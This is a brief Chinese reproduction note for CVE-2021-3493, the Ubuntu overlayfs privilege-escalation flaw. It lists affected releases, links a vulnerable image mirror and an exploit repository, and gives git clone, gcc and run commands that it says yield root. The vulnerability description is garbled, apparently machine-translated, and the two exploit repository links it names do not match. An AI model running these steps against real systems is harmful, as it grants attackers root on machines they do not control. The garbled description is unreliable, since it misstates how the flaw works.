CVE-2021-3493 Linux 提权内核漏洞
漏洞描述
CVE-2021-3493 用户漏洞是 Linux 内核中没有文件系统中的 layfs 中的 Ubuntu over 特定问题，在 Ubuntu 中正确验证有关名称空间文件系统的应用程序。buntu 内核代码允许低权限用户在使用 unshare() 函数创建的用户命名空间中挂载 overlayfs 文件系统。当使用 setxattr() 函数设置 merged 联合挂载目录中文件的 security.capablility 扩展属性时，根据 overlayfs 文件系统的特性，将实际修改 init_user_ns 下 upper 目录中对应文件的扩展属性，从而造成本地提权问题
漏洞影响
- Ubuntu 20.10
- Ubuntu 20.04 LTS
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 ESM （Linux内核版本 < 5.11）
漏洞复现
有该漏洞的镜像系统下载地址：http://mirrors.ustc.edu.cn/ubuntu-releases/16.04/
EXP下载地址：https://github.com/briskets/CVE-2021-3493
执行以下代码，进行提权
git clone https://github.com/inspiringz/CVE-2021-3493.git
gcc exploit.c -o exploit
chmod +x exploit
./exploit whoami
如图所示，提权成功
